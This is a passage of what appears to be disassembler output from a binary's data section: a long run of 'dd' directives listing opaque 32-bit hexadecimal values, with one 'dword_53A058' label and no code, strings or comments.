dd 0E5C68BC3h, 60B5B200h, 0BC74D5CCh, 1D64EF04h, 338313AFh dd 0FF07A02Bh, 0E7F42BC9h, 17CE001Ch, 0B3FC6E85h, 3984EF00h dd 3B87EDC0h, 0E0558009h, 0CC3078C0h, 46B9204Fh, 4D74136Ch dd 4080170Ch, 7C0D1524h, 42DF34F1h, 0ED49A378h, 0D6334401h dd 0AC97F0DBh, 8470E13h, 7E80F683h, 51A0494Ah, 0B5986774h dd 0C087B60h, 28604439h, 3A9CCB07h, 0C01953A2h, 0C5E010E3h dd 0CC80F0EDh, 0A000147Ch dd 604FD689h, 0F04EDC15h, 282765BCh, 20D40358h, 101BA1C0h dd 9BE08067h, 9081802h, 0A20CF8A8h, 5C2887F8h, 0F103F8BFh dd 0D8604835h, 507874F6h, 0C3E3D427h, 1159E010h, 8468401Eh dd 0C088287Fh, 0A24FC710h, 84D9618h, 0DA81B471h, 0BE8CA700h dd 0A52EB0C6h, 698909C0h, 628AC049h, 18DA1818h, 0BC549120h dd 38C6B294h, 0E13030A6h, 45C094C1h, 0E5E8EBh, 0A4FE8553h dd 4F97E96h, 1B1D33Ch, 0F5CA6AE4h, 0A7CF2624h, 1D2894C6h dd 78FE084h, 8F8CEBC4h, 0F5F44F83h, 188EC6E5h, 4D0A7C03h dd 188F285h, 0F96B9E10h, 0B10744h, 70D23DC9h, 0A0B23AE4h dd 8408C07Fh, 255EF990h, 4C70C004h, 6504DE05h, 0E7E50F2Fh dd 0C6834D3Ch, 7C05A09Ah, 0F7C5F03Fh, 523E31B9h, 61F52500h dd 629A455Ah, 7C1E85E8h, 1B005E8Bh, 17C55B4Fh, 31E5F87Ah dd 67206039h, 4825E07Fh, 8B80EB61h, 4BE15B4Eh, 0CFA5C1C3h dd 2CC4A9C8h, 0C7B5D3Eh, 0D8209434h, 0D00890FFh, 0CA9DA50Fh dd 45D60523h, 796BE5E0h, 0C24F90Eh, 0CEDA6355h, 0D13AB89Fh dd 31A57C0Dh, 3670CBE0h, 4A5880F2h, 0C5112AEAh, 206EA64h dd 8768AE1Fh, 0F082C0EEh, 1090EBB3h, 5A107839h, 0A000F6FCh dd 852FF1D4h, 280DED33h, 0F8ECF805h, 342C98CAh, 0D3010061h dd 0AFC719F2h, 0A60189FBh, 0CB8CC242h, 0D1C43B62h, 4D903A82h dd 0C306A200h, 3D91BEA0h, 4AA9610Eh, 8D89E0EEh, 0CFC71Ah dd 62A6B3CDh, 2D4B775h, 4039E831h, 42D034DCh, 0A1D805E0h dd 23A94B4Dh, 7DB8A524h, 6F80ACF6h, 1F97A52h, 0CB152B62h dd 0D967FCA2h, 641C5843h, 0A0FA883Eh, 768F02BFh, 3182A5FBh dd 97995498h, 8E83F310h, 16682F00h, 1F93E328h, 0EB0363E8h dd 5C8327FCh, 8043A3E1h, 3C2A6C5h, 2DA1E0AEh, 0CDA0E740h dd 74015C54h, 0CA63CFA3h, 0C33622h, 0A2B02610h, 0A714A62Dh dd 7F3E96B0h, 0F3821377h, 0E3A1BB00h, 50FF22D4h, 748B8838h dd 0D6020E83h, 0FAC323FDh, 0B5C1CB3Dh, 0D188029h, 0B042D079h dd 7722F080h, 633E07D7h, 4524874Eh, 0F270306Ah, 3900E965h dd 4FC67473h, 2CBB8E5h, 5AAED642h, 0A68220E3h, 0A480EE03h dd 0CB995DC3h, 0D0FF8270h, 51C064E2h, 5F0C34FAh, 0E9B2019Dh dd 0AAFD5C7Ah, 45C6EC1Dh, 2DAF9900h, 8665F8BCh, 184C50CDh dd 0A1551130h, 37BD0373h, 0CD994A75h, 0C9331430h, 58EB2085h dd 3D905D79h, 36006798h, 0DFD3F8A6h, 0EE4DD8BCh, 3C34AEB9h dd 800D591h, 0FDAAFF26h, 0BC1FDE31h, 0CC425E98h, 90A0547Bh dd 18D3D018h, 70593DA2h, 0E602079Dh, 84338A6h, 5850B845h dd 0C1811823h, 973D6024h, 9BCCB306h, 8CA8610Ah, 6ECB0048h dd 4B931573h, 0B7ECDDAAh, 0AB1BCF0Eh, 8F7B85BCh, 2B189805h dd 0CB119C40h, 782D949h, 13F95397h, 4CB8C2E2h, 3C722C98h dd 0E1A9E33Bh, 0B9C97D88h, 74515080h, 6333991Eh, 7F594A00h dd 8E7945D2h, 31B9E8DBh, 2F0825FEh, 96E087EDh, 0B5434E50h dd 0EF19E0EAh, 0E98FEACh, 58A6CFD6h, 0C9E1DEEh, 8F10D027h dd 181F377Ch, 0D80A20FDh, 7807CC62h, 0B8C33B29h, 18180860h dd 47081DCDh, 0CE580C10h, 20C1F240h, 0B9653038h, 0A00985ECh dd 0F07FC5E8h, 36913C78h, 204C3818h, 0C65C60D4h, 0CB351D3Bh dd 21C35406h, 8C671E08h, 197118D8h, 34F8C08Ah, 0D9B33Ch dd 35E5F814h, 10EFCCF5h, 1884D4D8h, 9410C0F4h, 20DD7855h dd 0CDF84FB4h, 741EEA7Ch, 340667ADh, 7A386EE4h, 4418CC70h dd 20C67A11h, 181847B4h, 3092C8F4h, 28C6A7FCh, 31089EB7h dd 0F8A0954Bh, 0CA708C64h, 403A28E3h, 18C3146Bh, 3082F6B4h dd 34101B08h, 0D0BFD7C7h, 5470CF9Eh, 148344AFh, 100F7BF5h dd 67C29E5Fh, 0D44183EFh, 0F4E0B14Ch, 1FA97C9Fh, 60FAB14h dd 208DF174h, 1B309A6Fh, 2838301Eh, 4E9C5470h, 807088C7h dd 0FD7D34D1h, 91AD4080h, 0A9163561h, 2D31F5E8h, 0E2A108F1h dd 3EA615F0h, 0AE1D66D6h, 77003CD9h, 0CA0E925h, 0BFA02897h dd 32B87A8Dh, 0F1C6F300h, 0B566C784h, 0F414A699h, 871E10DCh dd 26510337h, 0E295614Eh, 0E0653003h, 38670CB0h, 0CD32B128h dd 8704166Fh, 204E6546h, 0D7C0110Fh, 7191156Fh, 72072CA5h dd 811C8458h, 0F0160271h, 0BDC87561h, 7A328082h, 8BAEBC83h dd 1EE295B8h, 6E5C3A74h, 6C541847h, 512D9408h, 4A86A4FDh dd 88B156Ah, 30818C85h, 44639824h, 0D029D101h, 0AF5054C2h dd 3C313590h, 95A710BEh, 8E1AD442h, 438DC4C0h, 0F583481h dd 985EDC42h, 103E7A2Ch, 0C421B6Bh, 3849DB31h, 1BA67404h dd 40887255h, 94508084h, 4D8093FBh, 0D56601D4h, 17EB7FBDh dd 0F7089DCFh, 33100D9Ah, 57AFA060h, 0E53D0372h, 235E91C6h dd 14AC4029h, 0E2EF9C8Fh, 40E85D83h, 0A3895B00h, 0C27F88ACh dd 90BFFA94h, 0B7433138h, 204F25E8h, 5490773Ch, 0A0DAD430h dd 0D00D4634h, 0BBA0DCB0h, 3D126F05h, 1C04FF29h, 7804F017h dd 78095B8h, 5C587550h, 0AC740678h, 0A890D57Eh, 0A044B448h dd 33EF90DCh, 0B1B087AEh, 30267ABBh, 940734C5h, 16899C8Dh dd 7C890260h, 0E756E5DCh, 8C8B3841h, 40915528h, 0D8E12435h dd 0A64137Ch, 50A81418h, 18192E44h, 71404003h, 8271058h dd 574DFE2Dh, 0C57FD100h, 29F55566h, 65BC61EFh, 5F4EC101h dd 31D0403Eh, 2E81C5ADh, 6735308Ah, 0A708E0A4h, 0E628585Dh dd 7326E8EEh, 1009A404h, 2F4404BDh, 857430C1h, 969344Ch dd 1452CCB6h, 906CF024h, 0C297BC94h, 0A2635091h, 0E8DAE9D1h dd 8A516888h, 0FCC4D402h, 5F096C2h, 42DB0F13h, 3EC846A6h dd 748300Ah, 20343C90h, 1873489Ch, 409CF429h, 2DC85B69h dd 1140AB61h, 644A99C9h, 48E6A303h, 98091C44h, 3494371h dd 1680E040h, 118AB560h, 839E3020h, 0EA6766A8h, 80D13808h dd 40C82196h, 0E2C14CABh, 29E8A420h, 4014B1C9h, 0D03E4BFAh dd 0C45C3828h, 14825F73h, 30CC06A4h, 28229668h, 68B2F17Fh dd 0F0BD4924h, 89D5A0Ch, 0AC40D0F2h, 572132B0h, 2C797820h dd 9B985351h, 8AA4386Ch, 4DD10310h, 0A1D411Ch, 9C51B170h dd 55F75060h, 4BEB9D10h, 4BF81116h, 5808A530h, 0DDE0E018h dd 88241E78h, 1D707CE8h, 41A60896h, 9F165C3Bh, 0C3744C05h dd 61F4E402h, 6AD086E1h, 0B38C3109h, 897F8920h, 5FE2E08h dd 0CC81BDC4h, 0C4643594h, 0E86959E4h, 702CF726h, 432A0EFDh dd 3119B069h, 30609A58h, 32140820h, 0B310AC9Fh, 0C32080C8h dd 0EB988CB0h, 41DA31F1h, 853A7484h, 1F9CF470h, 0D49C405h dd 0AA8B038h, 8A2A597Bh, 0EE910684h, 66E268B5h, 0B40EB4A7h dd 5BE0E26Eh, 0D50041F9h, 99F012F3h, 51843895h, 9808B600h dd 0C78F6B19h, 0CDC90079h, 0A66E1838h, 0E200FB32h, 8BAF2252h dd 596763h, 0FA278497h, 5EF8CD24h, 0D814D974h, 8018686Dh dd 0F157A01Ah, 758C108h, 718249A4h, 502C0CFCh, 5A9FF208h dd 5467026Fh, 28B8A718h, 0B0F18F74h, 6147506Ah, 0F8A72B1Fh dd 4AC10714h, 9501CE60h, 1B1A784h, 3C4C5D98h, 4EFA180Ch dd 9187293Eh, 247878C2h, 2748386Eh, 281CE030h, 11D26BE7h dd 0C01518A7h, 0C8C9B4CCh, 0E6A4A8C2h, 78A7570Bh, 195B9A03h dd 50054E12h, 824A8027h, 5ED56470h, 0F3842A2Ch, 0B5CC15A0h dd 80C13C82h, 10EB3D0Ch, 1F2ED367h, 40CD59ACh, 45A97882h dd 0A461F9A6h, 969A9908h, 0B2F0188Eh, 31175885h, 0CC8E3128h dd 4780DAA2h, 85A990B5h dd 0A00581A0h, 82D474E1h, 0FD1FA728h, 7778B899h, 73C53018h dd 0FE0487C9h, 0C0F09952h, 50E62371h, 35E780D7h, 5098692Bh dd 2BD5AA83h, 0C7510AAFh, 503C8499h, 0F895A315h, 2778C033h dd 389998FEh, 0D0860A31h, 58E08509h, 0FCD2531Bh, 0C3CE469Fh dd 70041D3h, 0B9A66526h, 291DDC91h, 83187141h, 791BC742h dd 4B679914h, 273807D8h, 30CAAF48h, 0CB83C6C3h, 47F1095Fh dd 541C29C1h, 50FDCD05h, 0B444EBD5h, 908E14A2h, 78152B02h dd 0A441767Fh, 23B5C187h, 75A380B8h, 0A8041B6Fh, 4815B3B4h dd 0F1B0F8A7h, 4924CBB7h, 0C704541Dh, 7C8E2898h, 43D713Bh dd 6B11F930h, 0F818DB08h, 8F080DB8h, 10296F0Bh, 32C3CD20h dd 6300C4A7h, 56655380h, 0CF66DDh, 87706F6Dh, 0E42E3223h dd 4D004A7Bh, 7939B42Dh, 1828EF1h, 2B98A9BCh, 30AE7FDDh dd 6D00E572h, 0C2BF127Ah, 3F20653h, 49428A3Ah, 20E882C7h dd 0C60009E7h, 0EC26D61Dh, 2F8EEF1h, 286A2C5Fh, 0CE81B6D7h dd 0F4031D8Dh, 3430634Bh, 5002B972h, 7548FC4Ch, 6587003Ah dd 9A2F84EAh, 3D00C18Fh, 0B92E43A1h, 1E05E02Dh, 4342214Bh dd 0A05CD251h, 0D6C0FB88h, 8D728C00h, 9436B250h, 0CA700BDh dd 69F4939h, 0F005852h, 83913B74h, 1C0990ACh, 80ED9255h dd 4D9CEECCh, 0D500C732h, 0D1E44C9Fh, 1477B18Fh, 4B0BE10h dd 83625180h, 0B157700Eh, 8D08A60Ch, 88500030h, 90F7F60Ch dd 0E02113Eh, 0AFF12A6Ah, 21F081AAh, 18881075h, 0B3455676h dd 2BE21844h, 74851B20h, 84249A88h, 24F31A28h, 0A712621h dd 80C3EF7h, 2B454EBEh, 244A3C4Ah, 300A288Ah, 453CC208h dd 0AE244829h, 9793FE67h, 40A080FCh, 57B20032h, 0D1069817h dd 0A51C5911h, 2C589EBAh, 44235119h, 9C40723Ch, 6E20Bh dd 8FF28481h, 4AD5F21h, 0EE0093B8h, 0CF714B8Ch, 6066D5E6h dd 20BB6AFDh, 18D8B918h, 0D67220h, 0E7580C3Bh, 0A752B329h dd 78513F20h, 69A401ABh, 0F42667ACh, 18B6DCD1h, 0FAE10F07h dd 4157AF86h, 89FBC2D0h, 0BF820057h, 0B906D4A4h, 0B3F60C61h dd 0FAE56017h, 0ED672B00h, 0A0284Ah, 1F3ED7BCh, 0B8BE2426h dd 0E0399C0Ah, 6B404C21h, 0D688769Bh, 0F8B400D8h, 2941B51Dh dd 0F7E4E314h, 0E6AB0084h, 0DEEC30BBh, 8CBF00E8h, 5E48BAC1h dd 0E5007E0Dh, 0DA11880Eh, 0D340A5h, 0F0B9AF77h, 8321A95Fh dd 0D6FE303Ah, 0DA43781Ch, 7D2E91CEh, 0F704F87Dh, 0C0081666h dd 89A62FB2h, 0A1C08A52h, 0BBE86E3Dh, 0CDCA0EE4h, 0C100AE8Eh dd 4A1B2FA3h, 0D63228C0h, 399287h, 0EBE5E681h, 93F03FA9h dd 9CECC500h, 5ED7301h, 55CAC69h, 0EE4F81AAh, 29F6829Fh dd 0FA3E1A40h, 67F1DB01h, 0AF7032A5h, 7DD41ECh, 71FDE7F9h dd 0FC108036h, 0AC183D5Ah, 31892C79h, 0B4CA636Dh, 81C4572Fh dd 0C4662410h, 0DD304403h, 0AE3D292Eh, 3C9174B3h, 0D7033B0Bh dd 0F0CCA4DBh, 4AED7CC1h, 77EC8058h, 0F6EB376Dh, 68E10072h dd 0BFA8BB2Eh, 840024ACh, 0EA5DFA8Eh, 8BAE4Ah, 0BE199585h dd 2BAB3120h, 83693E00h, 0FA8906BAh, 0D71E07A2h, 0B0AE50ADh dd 4C22B893h, 0F097D507h, 0F850BF48h, 144ADE2h, 0D85F4533h dd 0E0AE5AD3h, 853A7DB3h, 0FA1C7A57h, 753CC4B5h, 31D70630h dd 0F96E654h, 958CF5FBh, 5B7608C3h, 8F1CC0C8h, 9D0047FCh dd 0C540E139h, 0DE5CBBh, 64A20444h, 692D535Bh, 821CDB0Eh dd 1F8563C6h, 0D8790346h, 2D2F73C9h, 9D5B10D8h, 0A7B0AA07h dd 2490493Ah, 3C4ADDEh, 0FB645C57h, 900DDFD5h, 409260B6h dd 0F930E0h, 0B84BC1ECh, 0A7ADD8B9h, 7A1CC7B8h, 0A9054A9Ch dd 0AC2BE588h, 9E49F7C0h, 57000D4Ah, 2BA786Eh, 0A832DAh dd 0D5CB0FC5h, 9FF52D46h, 4733CA00h, 0BD5984EBh, 5B6EEAEh dd 6C0D10E0h, 15447BBAh, 384C68Ch, 0C8E240D4h, 981C9028h dd 52B0013h, 0D70EB2F3h, 0F21D45ACh, 1ECF540Fh, 0BA112007h dd 3CCDAF5Eh, 339DC6ABh, 62380E7h, 0F6A8384h, 0A38B6900h dd 57A616ADh, 7C6E00B2h, 0E400A21h, 5A37F12Fh, 0C07330ABh dd 44910AA3h, 0C1E7EFh, 0B39F66CEh, 0CA05498Ah, 47EA12BCh dd 96628470h, 0FF433CA5h, 0D724F787h, 0FB640D8h, 0A2025621h dd 0EBDD3C9Bh, 53B62D2h, 0B9001084h, 5E8A81ADh, 0E9381C99h dd 0DD3E86B7h, 0B30080D2h, 80ACD5CCh, 0ECE75962h, 45C8006Ah dd 35C9225Eh, 0D0A4C6D8h, 0AC93F30Fh, 0E4EF2023h, 9151EE47h dd 0B4765E64h, 71CE4000h, 5CADC80Eh, 0F00F1F1Ch, 0C0E1DE51h dd 0C1E4488Eh, 930716BEh, 7BCFB59Eh, 0EB69631h, 92AC0C22h dd 0D929AC30h, 91FCB536h, 28170004h, 0C44DC973h, 89533B14h dd 1907AFFCh, 40605893h, 0FF57467Ah, 0F5565B00h, 23BF8840h dd 5A30047h, 7EB832EDh, 0BB02A6C6h, 6AF8F6CEh, 60B86057h dd 0E85C051Fh, 0A28C5Bh, 43DB84BCh, 8F7DA9EDh, 59734500h dd 9A0117E4h, 0A2AF015Dh, 8C39037Ch, 0D754D0A1h, 1DF1BC1Dh dd 60206FFEh, 8C40D063h, 0DC0B02F2h, 83D2C5Fh, 2DC7D321h dd 6365A0E0h, 2B4C108Fh, 8F9D37C1h, 2346D21h, 8011EEh dd 307F2DC4h, 2E5C20A0h, 6840F3F0h, 796B60A4h, 1DE3664Dh dd 0F0545E30h, 0BC0CFFh, 366CFABBh, 3B03E0F5h, 0FC1D3Fh dd 0BEEA1710h, 1A2B5CBh, 0CE4767E5h, 0C8E72760h, 53000118h dd 0B858E8D7h, 0A8BC6366h, 0A5E499Ch, 0A864B5F5h, 363A0684h dd 0DB164012h, 0C6008F92h, 2ECF555h, 0B3C30BAh, 1EF9E448h dd 0E3D94D06h, 0F0B0A032h, 3BE8075Eh, 316A9636h, 0E00C9752h dd 8F342609h, 0E41C49D7h, 0DB0D7112h, 6BCF0AFh, 0CA170F09h dd 0AE8C348Ch, 51907B60h, 0BEEE3h, 8CAC5E9Fh, 3BD51315h dd 6100C4E2h, 0AF57F6F1h, 382697E7h, 4F0EA2B6h, 62A06E2Eh dd 0C22B788Ch, 0DD457E00h, 0F1FAE27Ch, 1C95036Ah, 0EE233165h dd 6346C4E0h, 7BA838h, 95044C7Eh, 3EDAC2h, 541A5EA3h, 92CC5298h dd 49884700h, 0E001651Dh, 26DB00F0h, 150AA859h, 0FD00417Dh dd 30739563h, 256085h, 8C1A1E79h, 0AF7A9753h, 49213400h dd 51A68D62h, 0BBE2D0h, 9A4DB41Bh, 180AB26Ah, 0C60FDAEEh dd 0AAA8CAh, 4D61FB7Fh, 74CB00A5h, 35454996h, 2B07D38Ah dd 9B3A4838h, 3227F870h, 82E60041h, 87547C8Ch, 0D1038BA1h dd 0D36D1BF7h, 1F2FC88Ah, 0A7B400F1h, 397E2AECh, 2603DC50h dd 0D9030938h, 9171F0FBh, 1E370002h, 0B01DAE14h, 643C0477h dd 860B00B6h, 85719395h, 0C4220F72h, 5141B273h, 47FD1987h dd 4755A3C2h, 0F6CD9890h, 7A63BB00h, 0AF728392h, 7F4C0010h dd 11D4C19Ch, 0BD00986Dh, 51CA78F6h, 13AADD1h, 0D580AE55h dd 0C73C84B9h, 0DCDE1100h, 52E0E2Fh, 4D30300Bh, 0E4950D19h dd 3E167C0Fh, 9A2EC00Ch, 0F056AAh, 0B44449EEh, 0B0C6D7D1h dd 0DA03E9E6h, 11571EDBh, 5831F07Ah, 0E3C9863h, 0E2608694h dd 1C355660h, 0C70037B2h, 49FA1DFBh, 3CBD5513h, 0BE80B963h dd 0B116946Eh, 0EC00F01Fh, 0B81DC920h, 31E25382h, 4C44E559h dd 0F958C4EBh, 1DB0A400h, 3257FDD4h, 0ABAA0EE0h, 71C0604Ah dd 5CCA0159h, 4BCEFA00h, 0E8B03038h, 7F3F25Ah, 0DB89215h dd 0E3BD017Dh, 3BE9DC39h, 5B03800h, 19B35806h, 28A9002Fh dd 7596E2EFh, 2403E97Ah, 0D93D908Ch, 68AFD06Ah, 0E83400E0h dd 39214683h, 7300AA62h, 2EE3163Dh, 604FDDh, 0BD570A1Bh dd 0EAC9611Ah, 1397258h, 0B676F238h, 1880F801h, 0AFCD7046h dd 210F9E50h dd 3C99ABB3h, 398F2400h, 24B96FE4h, 2747CAh, 0FF95C107h dd 6600938Ch, 3B257E54h, 0E8BE27D6h, 0A6C30181h, 0ACDABBC1h dd 3E3E20FBh, 37D8C801h, 555E771h, 51A3FCh, 127B402Ah dd 6FB36D14h, 0EBD79300h, 3DB0BDE1h, 39430029h, 0BB51039Eh dd 0EF00078Eh, 4908BA2h, 39422E9h, 91D2681Ah, 56C0ACC7h dd 6B002B2Ah, 0F8496090h, 634731h, 0E083C3A4h, 0DAD41033h dd 966BE700h, 8B6544BEh, 0AC180026h, 14C86D27h, 13001C71h dd 5EBF75C9h, 8A3336h, 4469C06Eh, 381198A1h, 0A345B900h dd 7A78347Eh, 5B090F0Fh, 0B020EA25h, 0F5E3BB41h, 43E45103h dd 0E9761E29h, 88E423F9h, 0C1DE00AFh, 158D1037h, 0F1072DB1h dd 71673139h, 9D850290h, 0EF050791h, 0A0C7154Ch, 28794BFCh dd 90B30800h, 9217A4DDh, 0E9B403BAh, 0D6FAA777h, 6FF607E0h dd 0AB5FC700h, 5E4B42CEh, 0B3710306h, 98C86B7Ah, 8E8D60D7h dd 0B400F227h, 0CD59862Bh, 0D7DE47h, 933E2462h, 4918B2DFh dd 0FBEE6CF2h, 0C5F63500h, 2F258AD4h, 845201CEh, 0A7A4B855h dd 350DE02Eh, 0E3004B7Eh, 0E9F2BE76h, 493D6FCh, 0ED85BDE0h dd 54E9C039h, 0D20F7F5Dh, 0C7DB1D5Eh, 0A62035FAh, 282ADFh dd 78BE930Eh, 0C1983CC8h, 0BD4CB800h, 0A39A46A4h, 0D8FD3FA5h dd 8ACB7400h, 3EF68258h, 0FA760509h, 6E50179h, 7E6138CEh dd 0E058D0h, 52395A77h, 0F9BA78DCh, 0F1607D00h, 0BB0BC014h dd 0C1C20315h, 3AFEE040h, 5E5BA5C8h, 9F94D500h, 0DC6342EFh dd 0BAAF005Ch, 20D2114Eh, 0EA00B9DEh, 28F80D55h, 7E32C37h dd 0D7A852B3h, 4ED440C9h, 1F00C4BEh, 61C5D80Ah, 7CD351h dd 0AC592B91h, 9E7731CAh, 2E12A1Ch, 0F39CC843h, 297B5Fh dd 0EA19070Dh, 5D450AB4h, 0FC7AC400h, 6F1E7C16h, 0B8C528F3h dd 3F1A3CF7h, 0CF3C6600h, 0C1A85F49h, 3AD2DE00h, 0C8FF70F3h dd 587B011Bh, 5AB164A3h, 0E8E5E47Ah, 87C4BB00h, 0E13ACB4h dd 0B3DD009Dh, 39813EAEh, 3003DBDh, 0C6D952B9h, 2C409387h dd 82FEA1h, 0CFBC4772h, 9F003312h, 8C447D1Bh, 0E97304Fh dd 314EBFAAh, 675DE440h, 777E490Dh, 0C103D700h, 577DAD16h dd 50430040h, 15972CD0h, 3700937Fh, 0C0DE7EB3h, 20566Ah dd 0F0A96F48h, 0D7212625h, 2E530900h, 8A1858E1h, 2CC2F64Ah dd 39850ACh, 0A76A9F29h, 7563508Fh, 0B100D974h, 0E1328D36h dd 0B7807Eh, 0A30A247Dh, 46ECDFE5h, 7F73453Bh, 86A16B00h dd 271DFCF8h, 122F03E0h, 0F5D7E459h, 2E20B898h, 1900BBF0h dd 88F1C1F3h, 0E073579h, 8953C478h, 66822A40h, 0D00E0EEh dd 0FD84899h, 3C16D34h, 286BA514h, 24B04C07h, 0D30088A3h dd 0A74B7C01h, 3AA1C836h, 7D80AE9Fh, 15177689h, 0AC00E0AFh dd 0A437EA5Fh, 2B57B6Bh, 243451B8h, 80DD8D4Eh, 5F2DEB98h dd 41FE0058h, 68C3FC8h, 7E1CFBA3h, 970EA77Dh, 0FF7B40F2h dd 39F5BC0Ah, 7F000705h, 0FC441EEFh, 0E5008A86h, 2F76D552h dd 1B96599h, 0D358D20Bh, 0D853F9F7h, 80006DC4h, 48978357h dd 0F2DE3D77h, 29266065h, 3442C10Bh, 9FCE9003h, 0AA207163h dd 24AFC045h, 0E0C8E066h, 0D7D50043h, 0C2A25A59h, 57022D7Bh dd 6C0DC910h, 328E60E8h, 7524982Eh, 1FCE003Dh, 50EDB236h dd 2178F1C2h, 1A7110Fh, 735B603Ah, 0AECFD3h, 0F27F08D6h dd 5760ABEAh, 0A9C57900h, 3CD1D05Fh, 21CD00BCh, 14442FB4h dd 0BA768F3Dh, 45608A7Fh, 0BE29DD10h, 0BFCCC0F3h, 5DEB899Dh dd 9F37620Ch, 790B844h, 0FCCB43E5h, 886CF09Eh, 50036E3h dd 0A4A9F13Ah, 734EEE4h, 2541AD9Ah, 2EF4909Bh, 0A003398h dd 0CA36E0A2h, 50891Fh, 257F0CB4h, 0FE0B036Ch, 17E40202h dd 0C0C7BDD5h, 1F95AA9h, 0F007AF08h, 0D485CE2Ch, 0D400F506h dd 0D7DB7D91h, 0C59526Dh, 4A5E474Eh, 0DE00BFC0h, 0EE1EF595h dd 1B6A9F0h, 0D079BD3Bh, 30EA20C0h, 7200C12Fh, 96DE4094h dd 778555h, 0B8AB87B3h, 85DEFF4h, 959DA05h, 0BC07E2C4h dd 6F101090h, 3E3F56D0h, 0DE50BEDCh, 0AAC50A83h, 8C4E9Eh dd 13C14592h, 9870F1A3h, 0B1883214h, 0E9F700F9h, 0F982D9ADh dd 631300F3h, 0FC7FEE47h, 9700D702h, 6CCB0BECh, 261A570Dh dd 68991Bh, 0DA69FFADh, 0C6488009h, 6A76026Ch, 0C06C4CD0h dd 0B41E50h, 39FFA57h, 0A0EBF9D2h, 10E41D28h, 46FE3614h dd 80763AE0h, 0AA2571FAh, 7C970ADh, 77B56728h, 0E86B00DCh dd 0AC00A6CDh, 0FCBC8C8Dh, 18FBD052h, 40A47CFFh, 567BA89Dh dd 0B6037D74h, 0A5FE0B2h, 0C1680077h, 0F23F867h, 6D007370h dd 63D4F7B1h, 7F3441h, 4B320356h, 0F87AE3C6h, 0B77FFBE2h dd 0B6C759C0h, 1ECE8291h, 0CA0501h, 7CF531B2h, 13039DF7h dd 5B6876A8h, 19F49062h, 0C751E56h, 0BBB3C0ECh, 7AB2F84Ch dd 0DE4BE0C2h, 0BDE48086h, 6FFEB434h, 801F385Bh, 37D57D69h dd 1C0F9361h, 906085F3h, 32173903h, 0A00040BCh, 0FE16ABE9h dd 6DD26C78h, 1B60696Eh, 0EAB60004h, 0F7393242h, 4BF3010Eh dd 0DC9C0360h, 0B20806Fh, 0EA71E97Fh, 0B7260CBFh, 0BE08BD37h dd 2B206367h, 0EC72E920h, 64D6001Ch, 9AA736EAh, 0E6074668h dd 0AE0C3709h, 0CB2FEC70h, 49071564h, 0B200EC55h, 74E9CF9Fh dd 53711697h, 0FBF7C102h, 8CEA9EC8h, 5132982h, 0AA218AC0h dd 1D4A81D5h, 398C4377h, 0C2082100h, 0D9AC391h, 839B0719h dd 0B0281D6Dh, 0A14A63CDh, 6042A401h, 49298961h, 8ABF2C50h dd 0CDAB1048h, 0BB56C86Ch, 4C906F00h, 85B01C9Ch, 41A1CF19h dd 5048E049h, 0D78A04C6h, 319658DBh, 3E007B0Ah, 0D7591C8h dd 0D28CE900h, 0C6BF4868h, 0F4665006h, 0C75F2A57h, 849801B8h dd 3E99B42Ah, 3618596h, 0ECD7492Dh, 0A27BC683h, 0A4090ECh dd 0AA2B0890h, 5A586B05h, 0DC9000EEh, 649E9CBAh, 0F7D8D6Ch dd 0A81AD500h, 0FC7718C3h, 28E001Fh, 0CC3D467Ch, 0B21EE278h dd 782423EFh, 1E519683h, 50D0E8A7h, 86A1DC9h, 408E1657h dd 29F9B35Ch, 272E0980h, 390C72D1h, 18579276h, 0E1779A6Ch dd 89AC5F5h, 4665F0F5h, 0D7F2B400h, 2BB52A6Bh, 190F0E96h dd 9EC32CC9h, 80404779h, 0A14818BCh, 0E82EC04Ch, 8C34FCB8h dd 0B5EBAB00h, 0D9F39A7Ah, 0E84204B8h, 90587778h, 633E849Ch dd 467DFE04h, 9485A7FCh, 68F4BC27h, 0C684DA01h, 0A4B04C48h dd 0DBD59004h, 653370A8h, 0F8642103h, 8B13428Ah, 0E032C251h dd 14B2D86Eh, 0A041F5F9h, 0BBE4819Ch, 0C558068h, 4225888Ch dd 59A7E400h, 8419C582h, 954532ABh, 586903A8h, 58B1B21Ah dd 96402099h, 4B26AEBCh, 66003EFEh, 21F27CCh, 0E01890B6h dd 192800B8h, 8B65A8E7h, 0D93C84E8h, 30B5A612h, 0EC057481h dd 9CC402D5h, 62F300EAh, 6E0D738Bh, 0AD008FFAh, 7D2BA13h dd 317112E3h, 0F9912E4Bh, 3BC2EC33h, 88FBE600h, 0EF2DB610h dd 0FF22046Dh, 0D242A1E4h, 77E005E8h, 2BFC89BAh, 25D7D007h dd 6892A6Ah, 15883D5Ch, 0F0D26B57h, 43CC4B0Fh, 55500F63h dd 20489EE2h, 0D709FDD4h, 41B793h, 1D1BC0A1h, 98F4E822h dd 0A824A360h, 75CAB8h, 87CE6967h, 456C3D4Dh, 0B939FC30h dd 0F2289E9h, 0C4C91A9Dh, 916927A0h, 0A512A466h, 5040BF49h dd 200956A6h, 0EE58009Eh, 0E905DE15h, 0F00125D1h, 6477460Ah dd 89FD7FA7h, 61E25832h, 9F8D30h, 0D733FECEh, 3702091Eh dd 71A60F00h, 1795E424h, 0A3E326E7h, 59302138h, 7051856h dd 36C00D2Bh, 0EC0049FBh dword_53A058 dd 0F4F73229h, 6A08F499h, 0E938609Fh, 2421FCBAh, 1F1C6025h dd 0FAE858DDh, 3B7C5300h, 0FDED46EEh, 6AD001B0h, 9E0D415Ah dd 0CFF8507Bh, 951EE5E1h, 6980CD0Eh, 0E29B14A1h, 0FB8C3D3Ch dd 0D1D21E00h, 38500702h, 0DA853A00h, 483C77E4h, 47F8CAh dd 0A8DE3F52h, 6C33C63Bh, 198C059h, 7B800671h, 0C988128Fh dd 0D5609CF9h, 0FCBFD9h, 0A09ED3CCh, 3CA178FAh, 62C82000h dd 5D95E94Bh, 9F190774h, 0C08C7BD4h, 0A9F785C0h, 0DFC9700h dd 0E68251A8h, 7BEC002Dh, 7971331Fh, 5402258Ch, 0DD6CC3A7h dd 0ECB78102h, 589D295Ah, 0A586CE79h, 88D9B500h, 18C32757h dd 0EBA6B8D3h, 1E10F64Ah, 45C51299h, 39D4056Ah, 348CFC50h dd 0FB308400h, 1AA6777Fh, 0BBA053Bh, 0BE0798BEh, 7379BC1Bh dd 13E8C0h, 0D133936Fh, 0E87B0D2h, 0E5003DECh, 53E48EAAh dd 7328C9Eh, 92E644F1h, 55C880E9h, 0C700731Fh, 864C56DAh dd 7BAC947h, 0B415CC5Ah, 105CC076h, 3BFA8D40h, 0B558C805h dd 8800F79Fh, 3213AA2Ch, 3F8303A6h, 4173A05Bh, 